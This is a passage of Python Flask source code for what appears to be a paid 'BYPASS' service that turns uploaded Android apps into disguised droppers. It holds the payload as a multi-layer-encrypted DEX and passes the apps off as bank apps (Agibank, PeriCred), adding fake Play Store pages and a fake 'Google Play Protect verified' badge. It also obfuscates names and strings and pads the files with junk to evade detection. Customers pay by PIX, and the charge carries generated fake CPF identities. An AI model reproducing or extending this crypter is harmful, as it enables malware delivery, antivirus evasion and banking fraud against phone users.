                    "created_at": datetime.now().isoformat(),
                    "license_days": None,
                    "license_expires_at": None,
                    "status": "active",
                    "builds": [],
                    "team_id": None,
                    "amplification": {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
                }
            },
            "pending_registrations": {},
            "teams": {},
            "history": [],
            "settings": {
                "max_users_per_admin": 10,
                "default_license_days": 30,
                "auto_cleanup_days": 7,
                "gateway": {
                    "base_url": "https://api.syncpayments.com.br",
                    "client_id": "",
                    "client_secret": "",
                    "webhook_secret": "",
                    "enabled": False
                }
            }
        }
        with open(DATA_FILE, 'w') as f:
            json.dump(initial_data, f, indent=4)
        return initial_data

    _default_gw = {"base_url": "https://api.syncpayments.com.br", "client_id": "", "client_secret": "", "webhook_secret": "", "enabled": False}
    with open(DATA_FILE, 'r') as f:
        try:
            data = json.load(f)
            if "settings" not in data:
                data["settings"] = {"max_users_per_admin": 10, "default_license_days": 30, "auto_cleanup_days": 7}
            if "gateway" not in data["settings"]:
                data["settings"]["gateway"] = dict(_default_gw)
            else:
                for k, v in _default_gw.items():
                    data["settings"]["gateway"].setdefault(k, v)
            if "teams" not in data:
                data["teams"] = {}
            if "history" not in data:
                data["history"] = []
            if "pending_registrations" not in data:
                data["pending_registrations"] = {}
            return data
        except:
            return {
                "users": {}, "teams": {}, "history": [], "pending_registrations": {},
                "settings": {
                    "max_users_per_admin": 10, "default_license_days": 30, "auto_cleanup_days": 7,
                    "gateway": dict(_default_gw)
                }
            }

_save_lock = threading.Lock()

def save_data(data):
    with _save_lock:
        tmp_path = DATA_FILE + '.tmp'
        with open(tmp_path, 'w') as f:
            json.dump(data, f, indent=4)
            f.flush()
            try:
                os.fsync(f.fileno())
            except OSError:
                pass
        os.replace(tmp_path, DATA_FILE)

def verify_password(stored, provided):
    if stored.startswith('pbkdf2:') or stored.startswith('scrypt:'):
        return check_password_hash(stored, provided)
    return stored == provided

def is_user_expired(user_data):
    if user_data.get('status') == 'inactive':
        return True
    if user_data.get('role') == 'owner':
        return False
    license_expires_at = user_data.get('license_expires_at')
    if license_expires_at:
        try:
            if datetime.now() > datetime.fromisoformat(license_expires_at):
                return True
        except:
            pass
    return False

def _is_valid_ip(s):
    if not s: return False
    s = s.strip()
    if s.count('.') == 3:
        try:
            return all(0 <= int(p) <= 255 for p in s.split('.'))
        except: return False
    if ':' in s and ' ' not in s and '"' not in s and "'" not in s and '<' not in s:
        return True
    return False

def get_client_ip():
    for header in ('CF-Connecting-IP', 'X-Real-IP'):
        v = request.headers.get(header, '').strip()
        if _is_valid_ip(v):
            return v
    return (request.remote_addr or 'unknown').strip()

def is_rate_limited(ip):
    now = time.time()
    login_attempts[ip] = [t for t in login_attempts[ip] if now - t < ATTEMPT_WINDOW]
    return len(login_attempts[ip]) >= MAX_ATTEMPTS

def record_login_attempt(ip):
    login_attempts[ip].append(time.time())

def is_register_limited(ip):
    now = time.time()
    register_attempts[ip] = [t for t in register_attempts[ip] if now - t < REGISTER_WINDOW]
    return len(register_attempts[ip]) >= MAX_REGISTER_ATTEMPTS

def record_register_attempt(ip):
    register_attempts[ip].append(time.time())

def get_user_role(username):
    data = load_data()
    if username in data["users"]:
        return data["users"][username].get("role", "operator")
    return None

def get_team_id(username):
    data = load_data()
    if username in data["users"]:
        return data["users"][username].get("team_id")
    return None

def can_manage_user(current_user, target_user):
    data = load_data()
    current_role = data["users"].get(current_user, {}).get("role")
    target_role = data["users"].get(target_user, {}).get("role")
    if current_role == "owner":
        return True
    if current_role == "admin":
        if target_role == "operator":
            return data["users"][current_user].get("team_id") == data["users"][target_user].get("team_id")
    return False

def add_history(user, action, details):
    data = load_data()
    data["history"].insert(0, {
        "user": user, "action": action, "details": details,
        "timestamp": datetime.now().strftime("%d/%m/%Y %H:%M:%S")
    })
    data["history"] = data["history"][:500]
    save_data(data)

def add_build_history(username, app_name, status, build_id):
    data = load_data()
    if username in data["users"]:
        if "builds" not in data["users"][username]:
            data["users"][username]["builds"] = []
        builds = data["users"][username]["builds"]
        for build in builds:
            if build.get("build_id") == build_id:
                build["status"] = status
                build["timestamp"] = datetime.now().isoformat()
                build["date_display"] = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
                save_data(data)
                return
        builds.insert(0, {
            "build_id": build_id, "app_name": app_name, "status": status,
            "timestamp": datetime.now().isoformat(),
            "date_display": datetime.now().strftime("%d/%m/%Y %H:%M:%S")
        })
        data["users"][username]["builds"] = builds[:500]
        save_data(data)

def update_amplification(username, build_status):
    data = load_data()
    if username in data["users"]:
        if "amplification" not in data["users"][username]:
            data["users"][username]["amplification"] = {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
        data["users"][username]["amplification"]["total_builds"] += 1
        if build_status == "concluido":
            data["users"][username]["amplification"]["successful_builds"] += 1
        elif build_status == "erro":
            data["users"][username]["amplification"]["failed_builds"] += 1
        save_data(data)

# ===== PIX GATEWAY =====
def _qr_from_pix_code(pix_code: str) -> str:
    try:
        import qrcode
        from io import BytesIO
        import base64
        qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=6, border=2)
        qr.add_data(pix_code)
        qr.make(fit=True)
        img = qr.make_image(fill_color='black', back_color='white')
        buf = BytesIO()
        img.save(buf, format='PNG')
        return base64.b64encode(buf.getvalue()).decode()
    except Exception:
        return ''

def _get_gateway_token(gateway_config: dict) -> str:
    base_url = gateway_config.get('base_url', '').rstrip('/')
    client_id = gateway_config.get('client_id', '')
    client_secret = gateway_config.get('client_secret', '')
    cache_key = f"{client_id}:{client_secret}"

    cached = _gw_token_cache.get(cache_key)
    if cached and datetime.now() < cached['expires_at']:
        return cached['token']

    resp = http_requests.post(
        f'{base_url}/api/partner/v1/auth-token',
        json={'client_id': client_id, 'client_secret': client_secret},
        headers={'Content-Type': 'application/json', 'Accept': 'application/json'},
        timeout=15
    )
    if resp.status_code != 200:
        raise Exception(f"Auth falhou ({resp.status_code}): {resp.text[:200]}")

    d = resp.json()
    token = d.get('access_token', '')
    expires_in = int(d.get('expires_in', 3600))
    _gw_token_cache[cache_key] = {
        'token': token,
        'expires_at': datetime.now() + timedelta(seconds=max(expires_in - 120, 60))
    }
    return token

def create_pix_charge(amount_cents, description, external_id, gateway_config, client_data=None):
    if not gateway_config.get('enabled'):
        raise Exception("Gateway desativado")

    base_url = gateway_config.get('base_url', '').rstrip('/')
    if not base_url:
        raise Exception("Base URL do gateway nao configurada")

    token = _get_gateway_token(gateway_config)

    body = {
        'amount': round(amount_cents / 100, 2),
        'description': description or 'BYPASS - Plano de acesso',
    }
    if client_data:
        body['client'] = client_data

    resp = http_requests.post(
        f'{base_url}/api/partner/v1/cash-in',
        headers={
            'Authorization': f'Bearer {token}',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        },
        json=body,
        timeout=20
    )
    if resp.status_code not in (200, 201):
        raise Exception(f"Cash-in falhou ({resp.status_code}): {resp.text[:250]}")

    d = resp.json()
    pix_code = d.get('pix_code', '')
    identifier = d.get('identifier', external_id)

    return {
        'charge_id': str(identifier),
        'qr_code_base64': _qr_from_pix_code(pix_code),
        'copy_paste': pix_code,
        'status': 'pending'
    }

def check_pix_status(charge_id, gateway_config):
    base_url = gateway_config.get('base_url', '').rstrip('/')
    if not base_url or not charge_id:
        return 'pending'
    try:
        token = _get_gateway_token(gateway_config)
        resp = http_requests.get(
            f'{base_url}/api/partner/v1/transaction/{charge_id}',
            headers={'Authorization': f'Bearer {token}', 'Accept': 'application/json'},
            timeout=10
        )
        if resp.status_code == 200:
            status = resp.json().get('data', {}).get('status', 'pending')
            if status == 'completed':
                return 'paid'
            if status in ('failed', 'refunded', 'med'):
                return 'failed'
    except Exception:
        pass
    return 'pending'

# ===== PROCESSAMENTO APK COM BP2 =====
def process_apk(build_id, user_apk_path, custom_app_name, username,
                custom_icon_path=None, dropper_config=None, visual_mode="padrao",
                hide_icon=False, custom_html=None, redirect_url=None):
    user_apk_extracted = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}_extracted")
    dropper_work       = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}_dropper")
    unsigned_apk_path  = os.path.join(app.config['OUTPUT_FOLDER'], f"{build_id}_unsigned.apk")
    aligned_apk_path   = os.path.join(app.config['OUTPUT_FOLDER'], f"{build_id}_aligned.apk")
    build_tmp          = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}_bptmp")

    BUILD_STATUS[build_id] = {"status": "Aguardando vaga...", "progress": 5}
    _BUILD_SEMAPHORE.acquire()
    try:
        add_build_history(username, custom_app_name, "processando", build_id)

        BUILD_STATUS[build_id] = {"status": "Extraindo APK...", "progress": 15}
        if os.path.exists(user_apk_extracted):
            shutil.rmtree(user_apk_extracted)
        os.makedirs(user_apk_extracted, exist_ok=True)

        try:
            with zipfile.ZipFile(user_apk_path, 'r') as zip_ref:
                zip_ref.extractall(user_apk_extracted)
        except:
            with zipfile.ZipFile(user_apk_path, 'r') as zip_ref:
                for member in zip_ref.namelist():
                    try:
                        zip_ref.extract(member, user_apk_extracted)
                    except:
                        pass

        if not os.path.exists(os.path.join(user_apk_extracted, "AndroidManifest.xml")):
            BUILD_STATUS[build_id] = {"status": "Extraindo via Apktool...", "progress": 20}
            subprocess.run(['java', '-jar', APKTOOL_JAR, 'd', user_apk_path, '-o', user_apk_extracted, '-f'])

        BUILD_STATUS[build_id] = {"status": "Preparando Dropper", "progress": 30}
        if os.path.exists(dropper_work):
            shutil.rmtree(dropper_work)
        shutil.copytree(DROPPER_TEMPLATE, dropper_work)

        build_artifact = os.path.join(dropper_work, 'build')
        if os.path.exists(build_artifact):
            shutil.rmtree(build_artifact)
        for root_dir, _, files in os.walk(dropper_work):
            for fname in files:
                if '.bak' in fname:
                    try: os.remove(os.path.join(root_dir, fname))
                    except: pass

        if visual_mode == 'playstore' and os.path.exists(PLAYSTORE_OVERLAY):
            smali_src = os.path.join(PLAYSTORE_OVERLAY, 'smali')
            smali_dst = os.path.join(dropper_work, 'smali')
            if os.path.exists(smali_src):
                for root_s, dirs_s, files_s in os.walk(smali_src):
                    rel = os.path.relpath(root_s, smali_src)
                    dst_dir = os.path.join(smali_dst, rel)
                    os.makedirs(dst_dir, exist_ok=True)
                    for sf in files_s:
                        if '.bak' in sf: continue
                        shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))
            assets_src = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up.html')
            if os.path.exists(assets_src):
                assets_dst = os.path.join(dropper_work, 'assets')
                os.makedirs(assets_dst, exist_ok=True)
                shutil.copy2(assets_src, os.path.join(assets_dst, 'up.html'))

        if visual_mode == 'custom' and os.path.exists(PLAYSTORE_OVERLAY):
            smali_src = os.path.join(PLAYSTORE_OVERLAY, 'smali')
            smali_dst = os.path.join(dropper_work, 'smali')
            if os.path.exists(smali_src):
                for root_s, dirs_s, files_s in os.walk(smali_src):
                    rel = os.path.relpath(root_s, smali_src)
                    dst_dir = os.path.join(smali_dst, rel)
                    os.makedirs(dst_dir, exist_ok=True)
                    for sf in files_s:
                        if '.bak' in sf: continue
                        shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))
            assets_dst = os.path.join(dropper_work, 'assets')
            os.makedirs(assets_dst, exist_ok=True)
            html_to_write = custom_html if custom_html else '<html><body>Loading...</body></html>'
            with open(os.path.join(assets_dst, 'up.html'), 'w', encoding='utf-8') as f:
                f.write(html_to_write)

        if visual_mode == 'redirect' and os.path.exists(PLAYSTORE_OVERLAY) and os.path.exists(REDIRECT_OVERLAY):
            pass

        _randomize_dropper_package(dropper_work)
        _randomize_version(dropper_work)

        app_name = custom_app_name if custom_app_name else "App"
        if custom_icon_path and os.path.exists(custom_icon_path):
            icon_to_use = None
            try:
                converted = custom_icon_path + '_converted.png'
                _img = PILImage.open(custom_icon_path)
                if _img.size[0] > 2048 or _img.size[1] > 2048:
                    raise Exception(f"icon dimensions too large: {_img.size}")
                _img.convert('RGBA').save(converted, 'PNG')
                icon_to_use = converted
            except:
                pass
            if icon_to_use:
                _density_sizes = {
                    "res/mipmap-mdpi":    48,
                    "res/mipmap-hdpi":    72,
                    "res/mipmap-xhdpi":   96,
                    "res/mipmap-xxhdpi":  144,
                    "res/mipmap-xxxhdpi": 192,
                }
                _resize_ok = False
                try:
                    _base_icon = PILImage.open(icon_to_use).convert('RGBA')
                    for _d, _sz in _density_sizes.items():
                        _path = os.path.join(dropper_work, _d)
                        os.makedirs(_path, exist_ok=True)
                        _resized = _base_icon.resize((_sz, _sz), PILImage.LANCZOS)
                        for _name in ["ic_launcher.png", "ic_launcher_round.png"]:
                            _resized.save(os.path.join(_path, _name), "PNG", optimize=True)
                    _resize_ok = True
                except Exception as _e:
                    print(f'Aviso resize icon: {_e}')
                if not _resize_ok:
                    for d in ["res/mipmap-hdpi", "res/mipmap-mdpi", "res/mipmap-xhdpi", "res/mipmap-xxhdpi", "res/mipmap-xxxhdpi"]:
                        path = os.path.join(dropper_work, d)
                        os.makedirs(path, exist_ok=True)
                        for name in ["ic_launcher.png", "ic_launcher_round.png"]:
                            shutil.copy2(icon_to_use, os.path.join(path, name))

        strings_xml = os.path.join(dropper_work, "res/values/strings.xml")
        if os.path.exists(strings_xml):
            try:
                tree = ET.parse(strings_xml)
                root = tree.getroot()
                for string in root.findall('string'):
                    if string.get('name') == "app_name":
                        string.text = app_name
                tree.write(strings_xml, encoding='utf-8', xml_declaration=True)
            except:
                pass

        for root_dir, _, files in os.walk(dropper_work):
            for file in files:
                if file.endswith((".smali", ".xml")):
                    file_path = os.path.join(root_dir, file)
                    try:
                        with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
                            content = f.read()
                        new_content = content.replace('PeriCred', app_name).replace('Agibank', app_name).replace('AgiBank', app_name)
                        if dropper_config:
                            new_content = new_content.replace('DRPR_TITULO', dropper_config.get('titulo', 'Otimizando sistema'))
                            new_content = new_content.replace('DRPR_SUBTITULO', dropper_config.get('subtitulo', 'Aguarde o procedimento...'))
                            new_content = new_content.replace('DRPR_BADGE', dropper_config.get('badge', '✓ Google Play Protect verificado'))
                        if content != new_content:
                            with open(file_path, 'w', encoding='utf-8') as f:
                                f.write(new_content)
                    except:
                        pass

        up_html_path = os.path.join(dropper_work, 'assets', 'up.html')
        if visual_mode != 'custom' and os.path.exists(up_html_path):
            try:
                with open(up_html_path, 'r', encoding='utf-8') as f:
                    up_content = f.read()
                up_content = up_content.replace('APPNAME', app_name)
                if dropper_config:
                    ps = dropper_config.get('playstore', {})
                    up_content = up_content.replace('[PUBLISHER]', ps.get('publisher', 'Platform, Inc.'))
                    up_content = up_content.replace('[RATING]', ps.get('rating', '4.5'))
                    up_content = up_content.replace('[DOWNLOADS]', ps.get('downloads', '1K+'))
                    up_content = up_content.replace('[SIZE]', ps.get('size', '8.6 MB'))
                    if ps.get('change1'): up_content = up_content.replace('[CHANGE1]', ps.get('change1'))
                    if ps.get('change2'): up_content = up_content.replace('[CHANGE2]', ps.get('change2'))
                    if ps.get('change3'): up_content = up_content.replace('[CHANGE3]', ps.get('change3'))
                if custom_icon_path and os.path.exists(custom_icon_path):
                    import base64
                    with open(custom_icon_path, 'rb') as f:
                        icon_b64 = base64.b64encode(f.read()).decode()
                    up_content = up_content.replace('[BASE-ICO]', icon_b64)
                with open(up_html_path, 'w', encoding='utf-8') as f:
                    f.write(up_content)
            except Exception as e:
                print(f'Aviso up.html: {e}')

        # ===== BLOCO BP2 =====
        BUILD_STATUS[build_id] = {"status": "Injetando Payload (BP2 AES)", "progress": 60}

        os.makedirs(build_tmp, exist_ok=True)
        with _BP_LOCK:
            stub_dex_path, stub_class_name = _bp_compile_stub(build_tmp)
        print(f"[BP2] stub compilado: {stub_class_name}")

        orig_dex_path = os.path.join(user_apk_extracted, 'classes.dex')
        if not os.path.exists(orig_dex_path):
            with open(user_apk_path, 'rb') as f:
                original_dex = f.read()
        else:
            with open(orig_dex_path, 'rb') as f:
                original_dex = f.read()

        encrypted_payload, keys_block = _bp_multi_layer_encrypt(original_dex, BP_LAYERS)
        print(f"[BP2] DEX cifrado: {len(original_dex)} → {len(encrypted_payload)} bytes")

        if BP_CAMOUFLAGE_PAYLOAD:
            final_payload = _bp_camouflage_payload(encrypted_payload)
        else:
            final_payload = encrypted_payload

        import base64 as _b64, glob as _glob, string as _str
        dat_name = ''.join(random.choices(_str.ascii_lowercase, k=9)) + '.dat'
        _key = os.urandom(len(dat_name.encode()))
        _enc = bytes(a ^ b for a, b in zip(dat_name.encode(), _key))
        new_data_str = _b64.b64encode(_enc).decode()
        new_key_str = _b64.b64encode(b'dummy').decode()

        for _sm in _glob.glob(os.path.join(dropper_work, 'smali', '**', 'MainActivity.smali'), recursive=True):
            with open(_sm, 'r', encoding='utf-8') as f:
                _sc = f.read()
            _sc = _sc.replace('"MCe4qkNoRrMPUcr7Eg=="', f'"{new_data_str}"')
            _sc = _sc.replace('"VEXUwzIPKNljf66aZrY="', f'"{new_key_str}"')
            with open(_sm, 'w', encoding='utf-8') as f:
                f.write(_sc)

        old_payload = os.path.join(dropper_work, 'assets/dbliqgnjl.dat')
        if os.path.exists(old_payload):
            os.remove(old_payload)
        payload_path = os.path.join(dropper_work, f'assets/{dat_name}')
        os.makedirs(os.path.dirname(payload_path), exist_ok=True)
        with open(payload_path, "wb") as f:
            f.write(final_payload)

        if BP_INJECT_JUNK:
            import string as _str2
            junk_dir = os.path.join(dropper_work, 'assets')
            big_size = int(BP_JUNK_TOTAL_MB * 1024 * 1024)
            junk_file = os.path.join(junk_dir, f'libcore_{random.randint(1000,9999)}.so')
            with open(junk_file, 'wb') as f:
                f.write(os.urandom(big_size))
            for _ in range(BP_JUNK_FILE_COUNT):
                name = f'cache_{random.randint(1000,9999)}.bin'
                with open(os.path.join(junk_dir, name), 'wb') as f:
                    f.write(os.urandom(random.randint(512, 4096)))
            print(f"[BP2] Injetados {BP_JUNK_FILE_COUNT+1} arquivos junk nos assets")

        _encrypt_smali_strings(dropper_work)
        _randomize_class_names(dropper_work)
        _randomize_assets(dropper_work)
        _strip_smali_debug(dropper_work)

        # ===== FIM BP2 =====

        BUILD_STATUS[build_id] = {"status": "Compilando APK", "progress": 80}
        if not os.path.exists(APKTOOL_JAR):
            raise Exception("apktool.jar nao encontrado")
        res_b = subprocess.run(
            ['java', '-jar', APKTOOL_JAR, 'b', dropper_work, '-o', unsigned_apk_path],
            capture_output=True, text=True, timeout=600
        )
        if not os.path.exists(unsigned_apk_path):
            subprocess.run(['java', '-jar', APKTOOL_JAR, 'empty-framework-dir'], timeout=60)
            res_b = subprocess.run(
                ['java', '-jar', APKTOOL_JAR, 'b', dropper_work, '-o', unsigned_apk_path],
                capture_output=True, text=True, timeout=600
            )
            if not os.path.exists(unsigned_apk_path):
                raise Exception(f"Erro na compilacao: {res_b.stderr}")

        BUILD_STATUS[build_id] = {"status": "Anexando chaves...", "progress": 85}
        with open(unsigned_apk_path, 'ab') as apk:
            apk.write(keys_block)
        print(f"[BP2] Bloco de chaves ({len(keys_block)} bytes) anexado ao APK.")

        BUILD_STATUS[build_id] = {"status": "Alinhando APK", "progress": 88}
        zipalign_bin = shutil.which("zipalign") or "/usr/bin/zipalign"
        if os.path.exists(zipalign_bin):
            subprocess.run(
                [zipalign_bin, '-f', '4', unsigned_apk_path, aligned_apk_path],
                capture_output=True
            )
            if os.path.exists(aligned_apk_path):
                shutil.move(aligned_apk_path, unsigned_apk_path)

        BUILD_STATUS[build_id] = {"status": "Assinando APK", "progress": 90}
        output_dir = os.path.join(app.config['OUTPUT_FOLDER'], build_id)
        os.makedirs(output_dir, exist_ok=True)
        if not os.path.exists(SIGNER_JAR):
            raise Exception("signer.jar nao encontrado")

        res_s = subprocess.run(
            ['java', '-jar', SIGNER_JAR, '--apks', unsigned_apk_path, '--out', output_dir],
            capture_output=True, text=True, timeout=120
        )

        final_apk = None
        if os.path.exists(output_dir):
            for f in os.listdir(output_dir):
                if f.endswith(".apk"):
                    final_apk = os.path.join(output_dir, f)
                    break
        if not final_apk:
            raise Exception(f"Erro na assinatura: {res_s.stderr}")

        final_name = f"{build_id}.apk"
        display_name = f"{secure_filename(app_name)}.apk"
        shutil.move(final_apk, os.path.join(app.config['OUTPUT_FOLDER'], final_name))
        try: shutil.rmtree(output_dir, ignore_errors=True)
        except: pass

        BUILD_STATUS[build_id] = {"status": "Concluido", "progress": 100, "output_file": final_name, "display_name": display_name}
        add_build_history(username, custom_app_name, "concluido", build_id)
        update_amplification(username, "concluido")
        add_history(username, "Build APK", f"App: {app_name} (BP2)")

        send_discord_webhook(
            "BUILD CONCLUIDO (BP2)",
            f"APK **{app_name}** compilado com chaves anexadas.",
            color=0x22c55e,
            fields=[
                {"name": "Usuario", "value": username, "inline": True},
                {"name": "Modo", "value": visual_mode, "inline": True}
            ]
        )

    except Exception as e:
        error_msg = str(e)
        print(f"ERRO NO BUILD {build_id}: {error_msg}")
        BUILD_STATUS[build_id] = {"status": f"Erro: {error_msg[:50]}...", "progress": 0, "error": True}
        add_build_history(username, custom_app_name, "erro", build_id)
        update_amplification(username, "erro")
        send_discord_webhook(
            "BUILD ERRO",
            f"Erro ao compilar APK **{custom_app_name}** (BP2).",
            color=0xef4444,
            fields=[
                {"name": "Usuario", "value": username, "inline": True},
                {"name": "Erro", "value": error_msg[:200], "inline": False}
            ]
        )

    finally:
        for tmp in [user_apk_extracted, dropper_work, unsigned_apk_path, aligned_apk_path, build_tmp, user_apk_path]:
            try:
                if os.path.isdir(tmp):  shutil.rmtree(tmp, ignore_errors=True)
                elif os.path.isfile(tmp): os.remove(tmp)
            except: pass
        for ext in ('_icon.png', '_icon.png_converted.png'):
            try:
                p = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}{ext}")
                if os.path.isfile(p): os.remove(p)
            except: pass
        try:
            _BUILD_SEMAPHORE.release()
        except: pass

# ===== ROTAS =====
@app.route('/check-session')
def check_session():
    if 'username' in session:
        data = load_data()
        user = data["users"].get(session['username'], {})
        if not user:
            session.clear()
            return jsonify({"logged_in": False})
        if session.get('session_version', 0) != user.get('session_version', 0):
            session.clear()
            return jsonify({"logged_in": False, "expired": True, "reason": "password_changed"})
        if is_user_expired(user):
            session.clear()
            return jsonify({"logged_in": False, "expired": True})
        if 'csrf_token' not in session:
            session['csrf_token'] = secrets.token_urlsafe(32)
        return jsonify({
            "logged_in": True,
            "username": session['username'],
            "role": user.get('role', 'operator'),
            "license_expires_at": user.get('license_expires_at'),
            "csrf_token": session['csrf_token']
        })
    return jsonify({"logged_in": False})

@app.route('/')
def index():
    if 'username' in session:
        data = load_data()
        user = data["users"].get(session['username'], {})
        if is_user_expired(user):
            session.clear()
            return render_template('index.html')
        return render_template('index.html', user=session['username'], role=user.get('role', 'operator'))
    return render_template('index.html')

@app.route('/login', methods=['POST'])
def login():
    ip = get_client_ip()
    if is_rate_limited(ip):
        send_discord_webhook(
            "ALERTA DE SEGURANCA",
            f"IP **{ip}** bloqueado por excesso de tentativas de login.",
            color=0xf59e0b
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    u, p = data.get('username'), data.get('password')
    if not isinstance(u, str) or not isinstance(p, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    u = u[:64]
   # if not _verify_turnstile(data.get('turnstile', ''), ip):
   #     return jsonify({"success": False, "message": "Verificação de segurança falhou. Tente novamente."}), 400

    db = load_data()
    if u in db['users'] and verify_password(db['users'][u]['password'], p):
        if is_user_expired(db['users'][u]):
            return jsonify({"success": False, "message": "Licenca expirada"}), 403

        stored = db['users'][u]['password']
        if not (stored.startswith('pbkdf2:') or stored.startswith('scrypt:')):
            db['users'][u]['password'] = generate_password_hash(p)
            save_data(db)

        session.permanent = True
        session['username'] = u
        session['role'] = db['users'][u].get('role', 'operator')
        session['session_version'] = db['users'][u].get('session_version', 0)
        session['csrf_token'] = secrets.token_urlsafe(32)
        add_history(u, "Login", f"IP: {ip}")

        send_discord_webhook(
            "LOGIN",
            f"Usuario **{u}** fez login no painel.",
            color=0x6366f1,
            fields=[
                {"name": "Cargo", "value": session['role'], "inline": True},
                {"name": "IP", "value": ip, "inline": True}
            ]
        )
        return jsonify({"success": True, "role": session['role']})

    record_login_attempt(ip)
    send_discord_webhook(
        "LOGIN FALHOU",
        f"Tentativa de login invalida para **{u}**.",
        color=0xef4444,
        fields=[{"name": "IP", "value": ip, "inline": True}]
    )
    return jsonify({"success": False, "message": "Incorreto"}), 401

@app.route('/logout')
def logout():
    if 'username' in session:
        add_history(session['username'], "Logout", "Saida")
    session.clear()
    return redirect(url_for('index'))

@app.route('/api/register', methods=['POST'])
def api_register():
    ip = get_client_ip()
    if is_register_limited(ip):
        send_discord_webhook(
            "RATE LIMIT - REGISTRO",
            f"IP **`{ip}`** atingiu o limite de tentativas de registro.",
            color=0xf59e0b,
            fields=[{"name": "IP", "value": ip, "inline": True}]
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400

    email    = str(data.get('email', '')).strip().lower()[:120]
    password = str(data.get('password', '')).strip()[:128]
    plan     = str(data.get('plan', ''))

    if not email or not password or plan not in PLAN_PRICES:
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    if not _verify_turnstile(data.get('turnstile', ''), ip):
        return jsonify({"success": False, "message": "Verificação de segurança falhou. Tente novamente."}), 400
    if len(password) < 6:
        return jsonify({"success": False, "message": "Senha muito curta (minimo 6 caracteres)"}), 400

    record_register_attempt(ip)

    db = load_data()
    for udata in db['users'].values():
        if udata.get('email', '') == email:
            return jsonify({"success": False, "message": "Email ja cadastrado"}), 400

    gw = db['settings'].get('gateway', {})
    if not gw.get('enabled') or not gw.get('client_id') or not gw.get('client_secret'):
        return jsonify({"success": False, "message": "Gateway de pagamento nao configurado. Contacte o administrador."}), 503

    plan_info = PLAN_PRICES[plan]
    reg_id = str(uuid.uuid4())
    if '@' not in email:
        email = email + '@usuario.local'

    name  = _gen_nome()
    cpf   = _gen_cpf()
    phone = _gen_phone()
    client_data = {'name': name, 'cpf': cpf, 'email': email, 'phone': phone}

    try:
        pix = create_pix_charge(
            plan_info['price'],
            f"BYPASS - Plano {plan_info['label']}",
            reg_id,
            gw,
            client_data=client_data
        )
    except Exception as e:
        return jsonify({"success": False, "message": f"Erro ao gerar PIX: {str(e)[:150]}"}), 500

    db['pending_registrations'][reg_id] = {
        'email': email,
        'name': name,
        'password_hash': generate_password_hash(password),
        'plan': plan,
        'plan_days': plan_info['days'],
        'charge_id': pix['charge_id'],
        'created_at': datetime.now().isoformat(),
        'expires_at': (datetime.now() + timedelta(hours=1)).isoformat()
    }
    save_data(db)

    amount_fmt = f"R$ {plan_info['price']/100:.2f}".replace('.', ',')
    send_discord_webhook(
        "PIX GERADO",
        f"Novo PIX criado para registro.",
        color=0x3b82f6,
        fields=[
            {"name": "Email", "value": email, "inline": True},
            {"name": "Plano", "value": plan_info['label'], "inline": True},
            {"name": "Valor", "value": amount_fmt, "inline": True},
            {"name": "Charge ID", "value": pix['charge_id'], "inline": False},
        ]
    )

    return jsonify({
        "success": True,
        "reg_id": reg_id,
        "qr_code_base64": pix['qr_code_base64'],
        "copy_paste": pix['copy_paste'],
        "plan_label": plan_info['label'],
        "amount": amount_fmt
    })

def _activate_registration(reg_id, reg, db):
    email = reg['email']
    username = re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[0])[:20] or re.sub(r'[^a-zA-Z0-9_]', '', email)[:20] or 'user'
    base = username
    counter = 1
    while username in db['users']:
        username = f"{base}{counter}"
        counter += 1
    db['users'][username] = {
        'password': reg['password_hash'],
        'email': email,
        'role': 'operator',
        'created_at': datetime.now().isoformat(),
        'license_days': reg['plan_days'],
        'license_expires_at': (datetime.now() + timedelta(days=reg['plan_days'])).isoformat(),
        'status': 'active',
        'builds': [],
        'team_id': None,
        'amplification': {'total_builds': 0, 'successful_builds': 0, 'failed_builds': 0}
    }
    del db['pending_registrations'][reg_id]
    save_data(db)
    add_history('system', 'Novo Cadastro', f"Usuario: {username} | Plano: {reg['plan_days']} dias")
    send_discord_webhook(
        "NOVO CADASTRO",
        f"Nova conta criada via PIX.",
        color=0x22c55e,
        fields=[
            {"name": "Usuario", "value": username, "inline": True},
            {"name": "Email", "value": email, "inline": True},
            {"name": "Plano", "value": f"{reg['plan_days']} dias", "inline": True}
        ]
    )
    return username

@app.route('/api/pix/status/<reg_id>')
def pix_status(reg_id):
    reg_id = re.sub(r'[^a-zA-Z0-9\-]', '', reg_id)[:40]
    db = load_data()
    reg = db.get('pending_registrations', {}).get(reg_id)
    if not reg:
        return jsonify({"status": "not_found"}), 404

    try:
        if datetime.now() > datetime.fromisoformat(reg['expires_at']):
            with _reg_lock:
                db2 = load_data()
                if reg_id in db2.get('pending_registrations', {}):
                    del db2['pending_registrations'][reg_id]
                    save_data(db2)
            return jsonify({"status": "expired"})
    except:
        pass

    if reg.get('user_created'):
        return jsonify({"status": "pending"})

    gw = db['settings'].get('gateway', {})
    api_status = check_pix_status(reg.get('charge_id', ''), gw)

    if api_status == 'failed':
        return jsonify({"status": "expired"})

    if api_status == 'paid':
        with _reg_lock:
            db2 = load_data()
            reg2 = db2.get('pending_registrations', {}).get(reg_id)
            if not reg2 or reg2.get('user_created'):
                return jsonify({"status": "pending"})
            db2['pending_registrations'][reg_id]['user_created'] = True
            save_data(db2)
            username = _activate_registration(reg_id, reg2, db2)
        return jsonify({"status": "paid", "username": username})

    return jsonify({"status": "pending"})

